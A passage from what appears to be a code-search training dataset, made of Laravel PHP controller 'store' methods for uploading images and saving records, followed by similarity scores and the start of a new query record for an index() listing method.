$new_artikel->deskripsi = $request->get('deskripsi');\n $new_artikel->tanggal = $request->get('tanggal');\n $gambar = $request->file('gambar');\n if ($gambar) {\n $gambar_path1 = $gambar->store('gambar_artikel','public');\n $new_artikel->gambar = $gambar_path1;\n }\n $new_artikel->save();\n return redirect('/artikel');\n }", "public function store(Request $request)\n\t{\n\t\t$this->validate($request, [\n\t\t\t'name' => 'required',\n\t\t\t'asset_type' => 'required',\n\t\t\t'category_id' => 'required',\n\t\t\t'purchase_type' => 'required',\n\t\t\t'payment_cycle' => 'required',\n\t\t\t'amount' => 'required',\n\t\t]);\n\n\t\t$othercat = $request->input('other');\n\t\t$category_id = $request->input('category_id');\n\t\t$catid = '';\n\t\tif($othercat != '' && $category_id != ''){\n\t\t\t$dataCat = DB::table('assets_category') \n ->Where('cat_name', $othercat)\n ->first();\n \n \tif(!empty($dataCat) && $dataCat->id != ''){\n \t\t$catid = $dataCat->id;\n \t}\n \telse\n \t{\n \t\t$catid = DB::table('assets_category')->insertGetId(\n\t\t\t\t ['cat_name' => $othercat]\n\t\t\t\t);\n \t}\n\t\t}\t\n\n\t\t$data = $request->except('_token');\n\t\tif($catid != '')\n\t\t{\n\t\t\t$data['category_id'] = $catid;\n\t\t}\n\n\t\t$insertData = AssetsManager::create($data);\n\t\tif($request->input('payment_cycle') == 'One time'){\n\t\t\t//create entry in table cash_flows\n\t\t\t\\DB::table('cash_flows')->insert(\n\t\t\t\t[\n\t\t\t\t\t'description'=>'Asset Manager Payment for id'.$insertData->id,\n\t\t\t\t\t'date'=>('Y-m-d'),\n\t\t\t\t\t'amount'=>$request->input('amount'),\n\t\t\t\t\t'type'=>'paid',\n\t\t\t\t\t'cash_flow_able_type'=>'App\\AssetsManager',\n\t\n\t\t\t\t]\n\t\t\t);\n\t\t}\n\t\treturn redirect()->route('assets-manager.index')\n\t\t ->with('success','Assets created successfully');\n\t}", "public function store(CarruselRequest $request)\n {\n $carrusel = new Carrusel;\n\n $carrusel->file = $request->file;\n $carrusel->title = $request->title;\n $carrusel->description = $request->description;\n \n\n $carrusel->save();\n\n\n //IMAGE\n if($request->file('file')){\n $path = Storage::disk('public')->put('image', $request->file('file'));\n $carrusel->fill(['file' => asset($path)])->save();\n }\n\n return redirect()->route('carrusels.index')->with('info', 'La imagen fue guardada en el carrusel.');\n }", "public function store(StoreArticleRequest $request)\n {\n $path = Storage::disk('public')->putFile('articles/images', $request->file('image'));\n\n Article::create($request->only(['title', 'content', 'category_id']) + ['image' => $path]);\n\n return redirect()->back()->with(['status' => 'success', 'message' => 'Article added successfully.']);\n }", "public function store(Request $request)\n {\n $fixed_asset = new FixedAssets;\n $fixed_asset->description = $request->description;\n $fixed_asset->type_asset_id = $request->type_asset_id;\n $fixed_asset->department_id = $request->department_id;\n $fixed_asset->amount = $request->amount;\n $fixed_asset->registration_date = date('d-m-Y');\n $fixed_asset->amount = $request->amount;\n $fixed_asset->accumulated_depreciation = 0;\n $fixed_asset->save();\n\n return redirect('/activos-fijos');\n }", "public function store(Request $request)\n {\n \n $this->validate($request, [\n 'image_title' => 'required',\n 'image_description' => 'required',\n 'image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:10000'\n ]);\n $path = $request->file('image')->store('images', 'public');\n $request_data = $request->all();\n $request_data['image'] = $path;\n PhotoGalary::create($request_data);\n return redirect(\"admin/album/\" .$request_data['album_id']);\n\n }", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required',\n 'for_give' => 'required',\n 'sub_groups_id' => 'required'\n ]);\n\n $input = $request->all();\n\n if ($request->hasFile('image')) {\n\n // Get the file from the request store to disk\n $path = $request->image->store('assets');\n\n // Get the contents of the file\n $contents = Storage::get($path);\n $input['image'] = $contents;\n Storage::delete($path);\n }\n\n if ($request->hasFile('document')) {\n\n // Get the file from the request store to disk\n $path = $request->document->store('public/document');\n\n // Get the contents of the file\n //$contents = Storage::get($path);\n //$input['avatar_name'] = basename($path);\n $input['document'] = $path;\n }\n\n AssetCategory::create($input);\n return redirect()->route('subgroups.index')->with('success', 'บันทึกข้อมูลเรียบร้อยแล้ว');\n }", "public function store(Request $request)\n {\n $album = new Album();\n $album->name = $request->input('name');\n $album->user_id = $request->input('artist');\n $album->year = $request->input('year');\n $album->cover = $request->cover->store('uploads', 'public');\n $image = Image::make(public_path(\"storage/{$album->cover}\"))->fit(265, 265);\n $image->save();\n $album->genre_id = $request->input('genre');\n\n $album->save();\n\n $album->tags()->sync($request->input('tag'));\n\n return redirect()->route('album.index')->with('success', ' Album was added');\n }", "public function store(AssetTypeFormRequest $request)\n\t{\n\t\t$data = $request->all();\n\t\t$status = 1;\n\n\t\t$assetTypesModel = new AssetTypesModel();\n\t\t$assetType = $assetTypesModel->createAssetType($data);\n\t\tif(empty($assetType)) {\n\t\t\t$status = 0;\n\t\t}\n\t\treturn new JsonResponse(['status' => $status, 'assetType' => $assetType]);\n\t}", "public function store(Request $request)\n {\n //\n\n\n\n\n $advert = $request->isMethod('put') ?\n Advert::findOrFail($request->advert_id) : new Advert;\n\n $advert->id = $request->input('advert_id');\n $advert->user_id = $request->input('user_id');\n $advert->title = $request->input('title');\n $advert->content = $request->input('content');\n $advert->brand = $request->input('brand');\n $advert->model = $request->input('model');\n $advert->type = $request->input('type');\n $advert->condition = $request->input('condition');\n $advert->price = $request->input('price');\n $advert->main_photo_id = $request->input('main_photo_id');\n\n $photo = $request->input('photo');\n $name = time().'.' . explode('/', explode(':', substr($request->photo, 0, strpos($request->photo, ';')))[1])[1];\n \\Image::make($request->photo)->save(public_path('images/').$name);\n $request->merge(['photo' => $name]);\n// $userPhoto = public_path('img/profile/').$currentPhoto;\n $advert->photo = 'images/' . $name;\n\n if($advert->save()) {\n// return new AdvertResource($advert);\n $newAdvert = new IlmoitusResource($advert);\n// $this->savePhotos($photo, $advert->id);\n\n// return $request->input('photos');\n\n\n return $newAdvert;\n }\n }", "public function store(BrandRequest $request)\n {\n try {\n $brand = new Brand();\n $brand->name = $request->name;\n if (($request->file('image'))) {\n $file_name = 'brand_image'. rand(1, 15). rand(155, 200) . rand(25, 55). '.png';\n $request->image->storeAs('public/brands',$file_name);\n $brand->image = 'brands/'. $file_name;\n }\n $brand->save();\n return redirect()->route('brands.index')->with('done', 'Added Successfully ....');\n } catch (\\Exception $e) {\n return redirect()->back()->with('error', 'Error Try Again !!');\n }\n }", "public function store()\n {\n $this->validateData();\n $path = null;\n\n if (request()->hasFile('src')) {\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory = Accessories::create(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function store(){\n $me = Auth::user();\n\n $hash = Input::get('theme_hash');\n $units = intval(Input::get('units'));\n $type = Input::get('type');\n\n $theme = Theme::with('vendor')->where('hash', '=', $hash)->first();\n\n $advert = new Advert();\n\n $advert->type = $type; // TODO: validate\n $advert->owner_id = $me->id;\n\n $advert->impression_budget = $units * Config::get('adverts.impressions_per_unit');\n $advert->price = Config::get('adverts.price_per_unit');\n $advert->qty = $units;\n $advert->gross = $units * $advert->price;\n $advert->payed_amount = 0;\n\n $advert->impressions = 0;\n $advert->clicks = 0;\n $advert->status = 'placed';\n\n switch($type){\n case 'theme':\n $advert->theme_id = $theme->id;\n break;\n case 'product':\n // TODO: function to be added\n $advert->name = '';\n $advert->advert_image_url = '';\n break;\n default:\n\n }\n\n $advert->save();\n\n return Redirect::to('adverts/show/'. $advert->id);\n }", "public function store(Request $request)\n {\n\n $fundasset= new Fundasset($request->all());\n $fundasset->save();\n\n return redirect('fundassets');\n }", "public function store(Request $request)\n {\n $rules = [\n 'name' => 'required|max:255',\n ];\n $validator = Validator::make($request->all(), $rules);\n if ($validator->fails()) {\n return response()->json($validator->errors(), 400);\n }\n $itemname = time();\n $file_name = \"item-\". $itemname.\".png\";\n $data = base64_decode(preg_replace('#^data:image/\\w+;base64,#i', '', $request['image']));\n \n file_put_contents(public_path().'/images/items/' . $file_name,$data );\n\n $input = $request->all();\n \n $input[\"image\"] = $itemname;\n\n $item = Item::create($input);\n return response()->json($item, 201);\n }", "public function store()\n {\n $data = request()->validate([\n 'caption' => 'required',\n 'price' => 'required',\n 'image' => ['required', 'image','mimes:jpeg,png,jpg,gif,svg', 'max:500000'],\n ]);\n\n $imagePath = request('image')->store('uploads', 'public');\n\n $image = Image::make(public_path(\"storage/{$imagePath}\"))->fit(1200, 1200);\n $image->save();\n $city = Auth::user()->city;\n\n auth()->user()->posts()->create([\n 'caption' => $data['caption'],\n 'image' => $imagePath,\n 'price' => $data['price'],\n 'city' => $city,\n ]);\n\n //user is redirected to their profile\n return redirect('/profile/' . auth()->user()->id);\n }", "public function store(Request $request)\n {\n $request->validate([\n 'displayname' => 'required|min:2|unique:artists',\n ]);\n $avatar = FileManager::store($request, '/avatars/artists/', 'avatar');\n Artist::create([\n 'firstname' => $request->firstname,\n 'lastname' => $request->lastname,\n 'displayname' => $request->displayname,\n 'available_disk_space' => $request->available_disk_space,\n 'avatar' => $avatar\n ]);\n return response()->json(null, 201);\n }", "public function store()\n\t{\n\t\t$id_artista = Input::get('id_artista');\n\t\t\n\t\n\t\t$archivo = array('image' => Input::file('image'));\n\t\t$extension = Input::file('image')->getClientOriginalExtension(); \n\t\t$nombre = Input::file('image')->getClientOriginalName();\n\t\n\t\t$nuevoNombre=$this->limpia_espacios($nombre);\n \t\t\n\n\t\t$rutaArchivo_subido=\"/home/BRYAN19/ProyectoRobertillo/Cyber-Rockola/CyberRockola/storage/Subidos/\";\n\t\t\n\t\tInput::file('image')->move($rutaArchivo_subido, $nuevoNombre);\n\t\t$this->guardarCancion($nuevoNombre,$id_artista);\n\n\t\treturn Redirect::to('canciones');\t\n\t}", "public function store(StoreCreditDebit $request)\n\t{\n\t\t$creditdebit = new CreditDebit();\n\n\t\t$creditdebit->title = $request->input(\"title\");\n\t\t$creditdebit->description = $request->input(\"description\");\n\t\t$creditdebit->amount = $request->input(\"amount\");\n\t\t$creditdebit->nowdate = $request->input(\"nowdate\");\n\t\t$creditdebit->nowtime = $request->input(\"nowtime\");\n\t\t$creditdebit->photo = $request->input(\"photo\");\n\t\t$creditdebit->type = $request->input(\"type\");\n\t\t$creditdebit->user_id = Auth::user()->id;\n\t\tif ($request->hasFile('photo')) {\n\t\t\t$creditdebit->photo \t= $this->fileUpload($request->only('photo'), 'photo');\n\t\t}\n\t\t$creditdebit->save();\n\n\t\treturn redirect()->route('admin.creditdebits.index', ['type' => $creditdebit->type])->with('message', 'Item created successfully.');\n\t}", "public function store(ImageFormRequest $request)\n {\n $data = [];\n foreach ($request->asset_uri_group as $asset_uri) {\n array_push($data, \n [\n 'asset_uri' => $asset_uri,\n 'product_id' => $request->product_id,\n 'description' => $request->description,\n ]);\n }\n Image::insert($data);\n\n return redirect(route('products.view_details', $request->product_id))->with('success', __('image_created'));\n }", "public function store(StoreBrandRequest $request)\n {\n $request->validated();\n\n $brand = new Brand;\n $brand->name = $request->name;\n $brand->description = $request->description;\n $brand->save();\n\n if ($request->has('picture') && $request->file('picture')->isValid()) {\n $brand->addMediaFromRequest('picture')\n ->toMediaCollection('brand_images');\n }\n\n return redirect()\n ->back()\n ->withSuccess('Berhasil menambah data brand');\n }", "public function store(TagStoreRequest $request)\n {\n $tag = new Tag();\n $tag->fill($request->except('image'));\n\n if ($request->has('image')) {\n $tag = $tag->uploadImage($request->file('image'));\n }\n\n $tag->save();\n\n $request->session()->flash('success', 'Тег успешно создан');\n\n return redirect()->route('admin.tags.index');\n }", "public function store(Store $request)\n {\n $blogData = $request->only(['headline', 'sub_headline', 'description', 'author','alt', 'meta_description', 'meta_title']);\n $mainImage = $request->file('mainImage');\n $ext = $mainImage->getClientOriginalExtension();\n $fileName = Str::random(32) . \".{$ext}\";\n Storage::disk('public')->putFileAs(\"blogs/main/\", $mainImage, $fileName);\n\n $data = ['main_image' => $fileName] + $blogData;\n Blog::query()->create($data);\n\n return redirect()->route('blogs.index');\n }", "public function store(Request $request)\n {\n $info = Package::create($request->except('_token'));\n if ($request->hasFile('pack_imegrs')) {\n $slider_imegrs = $request->file('pack_imegrs');\n $db_file = $info->id . '.' . $slider_imegrs->getClientOriginalExtension();\n Image::make($slider_imegrs)->resize(427, 640)->save( base_path('public/uploads/Package_imegrs/' . $db_file ),40 );\n $info->pack_imegrs = $db_file;\n $info->save();\n }\n\n return back()->with('status', 'Package_imegrs insert successfully!');\n }", "public function store(SliderStoreRequest $request)\n {\n $slider=Slider::create($request->all());\n\n if($request->file('file')){ //si se manda el archivo\n $path=Storage::disk('public')->put('image', $request->file('file'));\n //utiliza la funcion de guardar en public crea la carpeta image y pasa el archivo\n $slider->fill(['file' => asset($path)])->save(); //actualizame la ruta en el post\n //el asset toma toda la ruta y se genera correctamente toda la ruta\n }\n \n return redirect()->route('sliders.index', $slider->id)\n ->with('info','Slider guardado con exito');\n }", "public function store(Request $request)\n {\n $typesAssets = new TypesAssets();\n $typesAssets->description = $request->description;\n $typesAssets->accounting_accounts_purchase = $request->accounting_accounts_purchase;\n $typesAssets->accounting_accounts_depreciation = $request->accounting_accounts_depreciation;\n $typesAssets->save();\n\n return redirect(\"/tipos-activos\");\n }", "public function store(Request $request)\n {\n $album = $request->isMethod('put') ? Album::findOrFail($request->album_id) : new Album;\n $album->id = $request->input('album_id');\n $album->name = $request->input('name');\n $album->description = $request->input('description');\n\n if($album->save()) {\n // Make album directory, return new albumresource.\n Storage::makeDirectory('public/images/album'.$album->id, 0755, true);\n return new AlbumsResource($album);\n };\n }", "public function store(Request $request)\n {\n $image_tivy = 'image-not-found.png'; \n if ($request->hasFile('imagen_publication')) { \n $file = $request->imagen_publication;\n $image_tivy = time() . $file->getClientOriginalName();\n $file->storeAs('app/public/storage/', $image_tivy); \n }\n\n $tivy = new Tivy();\n\n $tivy->tittle = $request->tittle;\n $tivy->description = $request->description; \n $tivy->date = $request->date; \n $tivy->startTime = $request->startTime; \n $tivy->duration = $request->duration;\n $tivy->state = 1; \n $tivy->place = $request->place; \n $tivy->capacity = $request->capacity; \n $tivy->img = $image_tivy;\n // $user = User::where('id', $request->user);\n $tivy->user()->associate($request->user); \n $tivy->save(); \n return redirect()->route('home');\n }", "public function store()\n {\n $article = Article::create($this->validateRequest());\n $this->storeImage($article);\n return redirect('articles');\n }", "public function store(Request $request)\n {\n $photo = $request->file('img');\n $folder = 'photos';\n $imageName = time().'.'.$photo->getClientOriginalExtension();\n $destinationPath = public_path('/img/'.$folder);\n $photo->move($destinationPath, $imageName);\n\n $nome = $request->input('name');\n $exists = Market::where('name',$nome)->exists();\n\n if($exists){\n return redirect()->route('market', ['ver' => 'nada']);\n }\n\n $prod = new Market;\n $prod->fill($request->all());\n $prod->image=$imageName;\n $prod->save();\n\n return redirect()->route('market', ['ver' => 'add']);\n }", "public function store(Request $request)\n {\n $data = $request->input();\n\n $validator = $this->validator($data);\n\n if ($validator->fails())\n \t\t{\n \t\t\treturn redirect('new-band-artist')->withErrors($validator->messages());\n \t\t}\n\n $file = $request->file('picture');\n if($file){\n $fileName = time().'_'.$file->getClientOriginalName();\n $file->storeAs('images',$fileName);\n } else {\n $fileName = null;\n }\n\n $bandArtist = BandArtist::create([\n 'name' => $data['name'],\n 'genre' => $data['genre'],\n 'description' => $data['description'],\n 'img' => $fileName,\n ]);\n\n return redirect('/band-artist');\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "function store_uploaded_asset(array $file) {\n\t\t$this->readychk();\n\n\t\tif (\n\t\t\t!empty($this->assets)\n\t\t\t&& count($this->assets) >= gtlim('SLIDE_MAX_ASSETS')\n\t\t) {\n\t\t\tthrow new LimitException('Too many slide assets.');\n\t\t}\n\t\tif (!is_dir($this->asset_path)) { mkdir($this->asset_path); }\n\t\t$asset = new SlideAsset();\n\t\t$asset->new($file, $this);\n\t\t$this->assets[] = $asset;\n\t}", "public function saveAssetRecord(JAsset $asset)\n {\n try\n {\n $isAssetSaved = $asset->store();\n }\n catch (\\Exception $e)\n {\n // ...continue to error handling below\n }\n\n\t\tif (!$isAssetSaved)\n\t\t{\n throw new AssetException( Text::_('COM_CAJOBBOARD_BEHAVIOUR_ASSETS_EXCEPTION_SAVE_FAILED') );\n }\n\n return $asset->getPrimaryKey()['id'];\n }", "public function store(Request $request)\n {\n \t//dd($request->all());\n $request->validate(['src' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:400']);\n $brandName = time().'.'.$request->src->getClientOriginalExtension();\n $request->src->move(public_path($this->image_path), $brandName);\n\n $data = new Brand;\n $data->name = $request->name;\n $data->type = $request->type;\n $data->address = $request->address;\n $data->url = $request->url;\n $data->src = $this->image_path.'/'.$brandName;\n $data->save();\n\n return back()->withSuccess(\"Success!\");\n }", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store(Request $request, $marketId)\n {\n $market = Market::find($marketId);\n $categoryId = request('category_id');\n\n // validate the data\n request()->validate([\n 'title' => 'required',\n 'body' => 'required',\n 'image' => 'image'\n ]);\n\n // process an image if there is one\n $category = Category::find($categoryId);\n $imagePath = 'images/'.$market->slug.'/leads';\n\n if($request->hasFile('image')){\n // add new image\n $image = $request->file('image');\n $filename = $market->code.'-'.$category->slug.'-'.time().'.'.$image->guessClientExtension();\n $image = $image->storeAs($imagePath, $filename, 'public');\n } else {\n $image = null;\n }\n\n $attributes = [\n 'title' => request('title'), \n 'body' => request('body'), \n 'meta_title' => request('meta_title'), \n 'meta_description' => request('meta_description'),\n 'image' => $image\n ];\n\n $market->categories()->attach($categoryId, $attributes);\n\n $marketCategory = MarketCategory::where('category_id', $categoryId)->where('market_id', $marketId)->first();\n\n // new way with Media Library\n $marketCategory->addMedia(request()->file('image'))->toMediaCollection('slider');\n\n return redirect()->route('admin.markets.edit', $market->id);\n }", "public function store(Request $request)\n {\n $productSaved = Product::create($request->all());\n\n $image = $request[\"image\"];\n\n //Armamos un nombre único para la imagen\n $finalImage = uniqid(\"img_\") . \".\" . $image->extension();\n\n //Subimos el archivo en la carpeta public/img\n $image->storePubliclyAs(\"/public/img\", $finalImage);\n\n //Asignamos la imagen al producto que guardamos\n $productSaved->image = $finalImage;\n $productSaved->save();\n\n return redirect(\"/products\");\n }", "public function store(Request $request)\n {\n //\n $this->validate($request, [\n 'file' => 'image'\n ]);\n\n $path = $request->file('file')->store('/', 'public');\n\n\n $image = Image::create([\n 'photo' => 'storage/' . $path\n ]);\n \n return [\n 'status' => 'success',\n 'image' => $image->load('tags')\n ];\n }", "public function store(Request $request)\n {\n $request->validate([\n 'name' => 'required'\n ]);\n $brand = new Brand();\n if ($request->has('image')){\n $request->validate([\n 'image' => 'image'\n ]);\n $path = $request->file('image')->store('brand');\n $public_path = public_path('storage/' . $path);\n Image::make($public_path)->resize(200,200)->save($public_path);\n $brand->logo = $path;\n }\n $brand->name = $request->name;\n $brand->description = $request->description;\n $brand->save();\n\n $slug = slug_maker($request->name);\n if (Brand::where('slug', $slug)->exists()){\n $brand->slug = $slug . '-' . $brand->id;\n }else{\n $brand->slug = $slug;\n }\n $brand->save();\n\n Toastr::success('Brand added', 'Success');\n return back();\n }", "public function store()\n {\n Artical::create($this->validateArtical());\n\n return redirect('/articals');\n }", "public function store(){\n\n if(auth()->user()->role != 1){\n abort(401);\n }\n\n $data = request()->validate([\n 'name' => 'required',\n 'price' => ['required', 'numeric', 'min:100'],\n 'description' => ['required'],\n 'image' => ['required', 'image'],\n ]);\n\n $imagePath = request('image')->store('images', 'public');\n Shoe::create([\n 'name' => $data['name'],\n 'price' => $data['price'],\n 'description' => $data['description'],\n 'image' => $imagePath,\n ]);\n\n return redirect('/shoes');\n }", "public function store(Request $request)\n {\n\n $brand = new CarBrand;\n $brand->name = $request->name;\n\n if ($request->hasFile('logo')) {\n\n $logo = $request->file('logo');\n $path = $request->file('logo')->store('brand/logo');\n\n }\n $brand->logo= $path;\n $brand->save();\n\n return redirect('brand')->with('success', 'Car Brand has been added');\n }", "public function store(BrandStoreRequest $request)\n {\n $brand_image = $request->file('brand_image');\n \n // $name_generation = hexdec(uniqid());\n // $image_ext = strtolower($brand_image->getClientOriginalExtension());\n // $image_name = $name_generation.'.'.$image_ext;\n // $upload_location = 'image/brand/';\n // $last_image = $upload_location.$image_name;\n // $brand_image->move($upload_location, $image_name);\n\n $image_ext = strtolower($brand_image->getClientOriginalExtension());\n $name_generation = hexdec(uniqid()).'.'.$image_ext;\n $upload_location = 'image/brand/';\n Image::make($brand_image)->resize(300,200)->save($upload_location.$name_generation);\n $last_image = $upload_location.$name_generation;\n\n Brand::create([\n 'brand_name' => $request->input('brand_name'),\n 'brand_slug' => Str::slug($request->input('brand_name')),\n 'brand_image' => $last_image,\n ]);\n \n $notification = array(\n 'message' => 'Brand Created Successfully!!!',\n 'alert-type' => 'success',\n );\n\n return redirect()->route('brand.index')->with($notification);\n }", "public function store(Request $request)\n {\n $this->validate($request, [\n 'img' => 'required',\n ]);\n $file = $request->file('img');\n // $file = $request->file('img')->store('public/files');\n $img = Image::make($file)->fit(1096,1096);\n \n // paste another image \n $frame = Frame::latest()->value('frame');\n\n $theFrame = Storage::get($frame);\n \n $img->insert($theFrame);\n return $img->response('jpg');\n \n \n }", "public function store(CreateStyleRequest $request)\n { \n // dd($request->all());\n $style = Style::create([\n 'name' => $request->name,\n 'description' => $request->description,\n 'slug' => $request->slug,\n 'icon' => $request->icon,\n 'image' => $request->image,\n 'music' => $request->music,\n 'family' => $request->family,\n 'color' => $request->color,\n 'origin' => $request->origin, \n 'music' => $request->music,\n 'year' => $request->year,\n ]);\n\n if ($request->hasFile('image')) {\n $style->update(['image' => $request->image->store('styles') ]); \n }\n\n session()->flash('success', 'Style added successfully');\n\n return redirect(route('styles.index'));\n }", "public function store(CreateRequest $request)\n {\n $brand = Brand::create([\n 'name_en' => $request->name_en,\n 'name_ar' => $request->name_ar,\n 'description_en' => $request->description_en,\n 'description_ar' => $request->description_ar,\n 'category_id' => $request->category,\n ]);\n if ($request->has('image')) {\n $brand\n ->addMediaFromUrl($request->image)\n ->toMediaCollection('brand.image');\n }\n return back()->with(['status' => trans('Added Successfully')]);\n }", "public static function insert_asset_instance( Mlp_Assets_Interface $assets ) {\n\n\t\tself::$assets = $assets;\n\t}", "public function store(Request $request)\n {\n $this->validate($request, [\n 'title' => 'required|max:225',\n 'album_image' => 'required|image|mimes:jpeg,png,jpg,gif,svg|max:2048',\n ]);\n\n $album = new Album;\n\n $album->title = $request->title;\n\n if($request->hasFile('album_image'))\n {\n $image = $request->file('album_image');\n $filename = time() . '.' . $image->getClientOriginalExtension();\n $location = public_path('images/' . $filename);\n Image::make($image)->save($location);\n\n $album->image = $filename;\n }\n\n $album->save();\n\n Session::flash('success', 'Photo berhasil ditambah');\n\n return redirect()->route('albums.show', $album->id);\n\n }", "public function store(Request $request)\n {\n $data = json_decode($request->data);\n $portfolio = new Portfolio;\n $portfolio->title = $data->title;\n $portfolio->description = $data->description;\n $portfolio->portfolio_type = $data->portfolio_type;\n $portfolio->portfolio_img = '/images/portfolios/blank.png';\n\n if($request->hasFile('portfolio_file')){\n // $file = $request->portfolio_file;\n // $path = \"/public/images/portfolios/\";\n // $file_path = $upload->uploadFile($file,$path);\n // $file_path = str_replace('/public','',$file_path);\n // $portfolio->portfolio_img = $file_path;\n\n $imagename = $request->portfolio_file->getClientOriginalName();\n $request->portfolio_file->storeAs('public/images/portfolios',$imagename);\n $portfolio->portfolio_img = '/images/portfolios/'.$imagename;\n }\n if($portfolio->save()){\n return $portfolio;\n }\n return 'Failed to add';\n }", "public function store()\n {\n $this->validate(request(), [\n 'code' => ['required', 'unique:attributes,code,NULL,NULL,entity_type,' . request('entity_type'), new Code],\n 'name' => 'required',\n 'type' => 'required',\n ]);\n\n Event::dispatch('settings.attribute.create.before');\n\n request()->request->add(['quick_add' => 1]);\n\n $attribute = $this->attributeRepository->create(request()->all());\n\n Event::dispatch('settings.attribute.create.after', $attribute);\n\n session()->flash('success', trans('admin::app.settings.attributes.create-success'));\n\n return redirect()->route('admin.settings.attributes.index');\n }", "public function store()\n\t {\n\t //\n\t }", "public function store($data, Resource $resource);", "public function store(Request $request)\n {\n $storeDatabase = \"\";\n if($request->hasFile('image')){\n $imageName = rand(1, 10000). time() . '.' . $request->image->getClientOriginalExtension();\n $storeDatabase = 'storage/upload/image_brands/'. $imageName;\n Image::make($request->image->getRealPath())->resize(500, 400)->save(public_path('storage/upload/image_brands/') . $imageName); \n }\n\n $brand = new Brands;\n $brand->name = $request->name;\n $brand->image = $storeDatabase;\n $brand->save();\n\n return redirect()->route('brand.index')->with('status', 'Data Brand Has Been Saved');\n }", "public function store(Request $request)\n {\n $acheiveData = $request->except( 'icon');\n \n\n if($request->hasFile('icon'))\n {\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheiveData['icon'] = $imageName;\n }\n\n $this->acheiveRepo->save($acheiveData);\n\n return redirect('admin-panel/widgets/acheive/')->with('success', 'success');\n }", "public function store(StoreCompanyRequest $request)\n {\n $company = Company::create($request->all());\n $ext = $request->logo->extension();\n $filename = time() . '.' . $ext;\n $request->file('logo')->storeAs('uploads', $filename, 'public');\n return $this->success(new CompanyResource($company), __('model.created', ['model' => 'Company']));\n }", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.7404902", "0.72014564", "0.7198392", "0.6847299", "0.64348835", "0.62753016", "0.62663674", "0.6243763", "0.6233236", "0.6231114", "0.61960495", "0.6180407", "0.61642593", "0.6124429", "0.60622555", "0.5988516", "0.5936438", "0.592809", "0.58675575", "0.5845467", "0.58224463", "0.5801467", "0.5797995", "0.5765446", "0.5758876", "0.5750972", "0.5744515", "0.57380915", "0.56954134", "0.56943214", "0.5692799", "0.5686645", "0.56807745", "0.5680111", "0.5679904", "0.5658083", "0.56549174", "0.565171", "0.564158", "0.56163144", "0.5615022", "0.56109935", "0.5604699", "0.5604592", "0.55870134", "0.557982", "0.5571387", "0.55703557", "0.55639815", "0.5552952", "0.55482733", "0.5542781", "0.5542598", "0.55412424", "0.55396676", "0.55384886", "0.5531829", "0.5522605", "0.5512605", "0.5512605", "0.5512605", "0.5511386", "0.5510809", "0.55064094", "0.5503831", "0.5493112", "0.54928464", "0.5489847", "0.54850113", "0.5483021", "0.5481725", "0.5479331", "0.5478562", "0.5475731", "0.54729176", "0.54726475", "0.54698324", "0.546319", "0.54549617", "0.54525816", "0.5446469", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362", "0.544362" ]
0.6791197
4
Display a listing of the resource.
public function index() { $user = auth()->user(); $ventas = Venta::with(['tipoVenta', 'detalleVentas'])->where(['estado' => 1])->get(); $user->breadcrumbs = collect([['nombre' => 'Cotizador', 'ruta' => null]]); return view('pages.cotizador.index', compact('ventas')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = 